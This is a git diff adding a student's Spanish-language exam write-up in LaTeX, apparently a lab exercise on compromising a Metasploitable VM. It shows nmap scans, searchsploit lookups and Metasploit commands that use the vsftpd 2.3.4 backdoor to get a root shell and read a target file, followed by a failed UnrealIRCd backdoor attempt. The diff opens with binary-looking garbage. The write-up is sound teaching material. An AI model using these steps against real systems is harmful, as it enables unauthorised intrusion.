z>goyjJC9UbP{qa874SDh-X9fAWF)M`B;H7hN?3`$5f>2`7m<>%wXy*Uy?OK38(Rrc zYbo&mUtuPw^T~q%T;}yr)YT^NQ@~Tvq>R{%Cn|&3(&0FUk-SSU za9irL8Eu#X{Gq)>jV}^H_+q=cV^#QNg~?6a@S&}6X`8H%HrU>)#28v&fEBejE%=h5 zJBK(ItSP55&>24?MBtl#FQb mtu 65536 qdisc noqueue state +UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: eth0: mtu 1500 qdisc +fq_codel state UP group default qlen 1000 + link/ether 08:00:27:c0:9f:f8 brd ff:ff:ff:ff:ff:ff + inet 192.168.200.9/28 brd 192.168.200.15 scope global +noprefixroute eth0 + valid_lft forever preferred_lft forever + inet6 fe80::9e91:10e5:7a43:dbe6/64 scope link +noprefixroute + valid_lft forever preferred_lft forever +\end{minted} + +Como vemos de esta salida, estamos en una red bastante pequeña, con una +dirección IP de 192.168.200.9, y máscara de red de 28. Ahora hemos de hacer un +escaneo de la red para encontrar la máquina que nos interesa (la IP que no sea +la nuestra): + +\begin{minted}{console} +# nmap -sP 192.168.200.0/28 +Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 16:57 CET +Nmap scan report for 192.168.200.9 +Host is up (0.000061s latency). +Nmap scan report for 192.168.200.13 +Host is up (0.00028s latency). +Nmap done: 16 IP addresses (2 hosts up) scanned in 14.53 + seconds +\end{minted} + +Vemos aquí que la dirección IP que nos interesa es la 192.168.200.13. + +\section{Análisis de la Máquina} + +Una vez que hayamos encontrado la máquina que nos interesa, tenemos que analizar +de qué formas podemos entrar. Para esto volvemos a hacer uso de la herramienta +{\tt nmap}: + +\begin{minted}{console} +# nmap -sV 192.168.200.13 +Nmap scan report for 192.168.200.13 +Host is up (0.00012s latency). +Not shown: 989 closed tcp ports (conn-refused) +PORT STATE SERVICE VERSION +21/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 +(protocol 2.0) +53/tcp open domain ISC BIND 9.4.2 +111/tcp open rpcbind 2 (RPC #100000) +139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: +WORKGROUP) +445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: +WORKGROUP) +2049/tcp open nfs 2-4 (RPC #100003) +2121/tcp open ccproxy-ftp? +3306/tcp open mysql? +5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 +6543/tcp open ftp vsftpd 2.3.4 +6667/tcp open irc UnrealIRCd +Service Info: Host: irc.Metasploitable.LAN; OSs: Linux, Unix; +CPE: cpe:/o:linux:linux_kernel + +Service detection performed. Please report any incorrect results +at https://nmap.org/submit/ . +Nmap done: 1 IP address (1 host up) scanned in 170.80 seconds +\end{minted} + +Con esto podemos ver todos los servicios que provee la máquina que nos interesa, +en qué puerto, e incluso la versión que tiene. Podemos ver que tiene muchos +servicios abiertos, así que tenemos por donde elegir. Hemos de usar el comando +{\tt searchsploit \} que nos permitirá buscar {\it exploits} para el +servicio que buscamos. He buscado primero para OpenSSH, ya que sería lo más útil +(poder entrar con SSH) y lo más cómodo, pero no encontré ningún {\it exploit} +que me sirviera a causa de la versión (4.7p1) y que no es SFTP. + +Luego, vemos que también tiene un servicio de FTP en el puerto 6543, utilizando +el servicio vsftpd. Si buscamos este servicio con {\tt searchsploit} vemos que +hay un {\it exploit} para esta versión (la 2.3.4) y también una versión de +Metasploit, que nos interesa para hacerlo de forma automática: + +\begin{verbatim} +vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) +unix/remote/17491.rb +\end{verbatim} + +Intentaremos entrar por este método. + +\section{Ataque} + +\subsection{vsftpd} + +Para entrar en la máquina y efectuar el ataque, usaremos la herramienta de +Metasploit. Esto se hace corriendo el comando {\tt msfconsole}. Una vez que +hayamos entrado, buscamos el {\it exploit} que nos interesa con el comando {\tt +search vsftpd}. Una vez que lo corremos nos saldrá la opción del {\it exploit} +que vimos anteriormente. Para usarla tomamos nota del número identificador que +tiene en la lista, y utilizamos el comando {\tt use \}. + +Una vez que lo estemos utilizando, tenemos que definir los parámetros de nuestro +ataque, principalmente el {\it host} y el puerto. Para eso corremos los comandos +siguientes: + +\begin{minted}{text} +> set RPORT 6543 +> set RHOSTS 192.168.200.13 +\end{minted} + +Una vez configurado todo, corremos el comando {\tt exploit}, y nos debería de +salir un {\it shell} en la máquina objetiva (aunque no un {\it prompt}): + +\begin{minted}{text} +> exploit +[*] 192.168.200.13:6543 - Banner: 220 (vsFTPd 2.3.4) +[*] 192.168.200.13:6543 - USER: 331 Please specify the +password. +[+] 192.168.200.13:6543 - Backdoor service has been spawned, +handling... +[+] 192.168.200.13:6543 - UID: uid=0(root) gid=0(root) +[*] Found shell. +[*] Command shell session 1 opened (192.168.200.9:36021 -> +192.168.200.13:6200) at 2023-02-15 17:25:52 +0100 + +whoami +root +\end{minted} + +Como sabemos que el archivo que nos interesa se encuentra dentro del directorio +{\tt /opt/examen}, pero no sabemos cómo se denomina, entraremos primero allí y +luego imprimiremos una lista de los archivos del directorio. Finalmente +imprimiremos a la pantalla el contenido del archivo. + +\begin{minted}{text} +cd /opt/examen +ls +mensaje.aes512 +cat mensaje.aes512 +Se acaban las clases con jiroman +\end{minted} + +Y aquí vemos el mensaje tan secreto. Que ya hemos acabado. + +\subsection{UnrealIRCd} + +Vemos que también tiene UnrealIRCd instalado. No conocemos la versión, pero +posiblemente sea una versión explotable y podamos entrar. Buscamos otra vez con +{\tt searchsploit} y encontramos que hay varios {\it exploit} disponibles, pero +a nosotros nos interesa aquél que pone <<(Metasploit)>> y permite acceso por +puerta trasera. Probamos. + +Entramos en {\tt msfconsole} y esta vez buscamos {\tt unrealircd}. Utilizamos la +opción que descubrimos anteriormente. Especificamos el {\it host} +(192.168.200.13), y el puerto lo dejamos igual (en 6667), ya que es la que tiene +la máquina. Finalmente hemos de definir el {\it payload}. + +Definimos el {\it payload} genérico, {\tt cmd/unix/generic}, y luego tenemos que +definir el comando que queremos correr. Como queremos hacer más de una cosa en +la máquina, asignaremos al {\tt CMD} del {\it payload} el comando {\tt /bin/sh} +para abrir un {\it shell}. Una vez configurado todo esto corremos el comando +{\tt exploit}: + +\begin{minted}{text} +[*] 192.168.200.13:6667 - Connected to 192.168.200.13:6667... + :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your +hostname... +[*] 192.168.200.13:6667 - Sending backdoor command... +[*] Exploit completed, but no session was created. +\end{minted} + +Como vemos, no ha tenido efecto ninguno, y hemos de buscar otra forma de entrar. + +\pagebreak + +\section{Derechos de Autor y Licencia} + +\noindent +Copyright \copyright\ \the\year\ Nicolás A. Ortega Froysa + \\ +\\ +Este documento se distribuye bajo los términos y condiciones de la licencia +Creative Commons Attribution No Derivatives 4.0 International. + +\end{document} diff --git a/2/SAD/exams/examen-naortega.toc b/2/SAD/exams/examen-naortega.toc new file mode 100644 index 0000000..f6adf37 --- /dev/null +++ b/2/SAD/exams/examen-naortega.toc @@ -0,0 +1,7 @@ +\babel@toc {spanish}{} +\contentsline {section}{\numberline {1}Búsqueda de la Máquina en Red}{2}{section.1}% +\contentsline {section}{\numberline {2}Análisis de la Máquina}{3}{section.2}% +\contentsline {section}{\numberline {3}Ataque}{4}{section.3}% +\contentsline {subsection}{\numberline {3.1}vsftpd}{4}{subsection.3.1}% +\contentsline {subsection}{\numberline {3.2}UnrealIRCd}{5}{subsection.3.2}% +\contentsline {section}{\numberline {4}Derechos de Autor y Licencia}{6}{section.4}%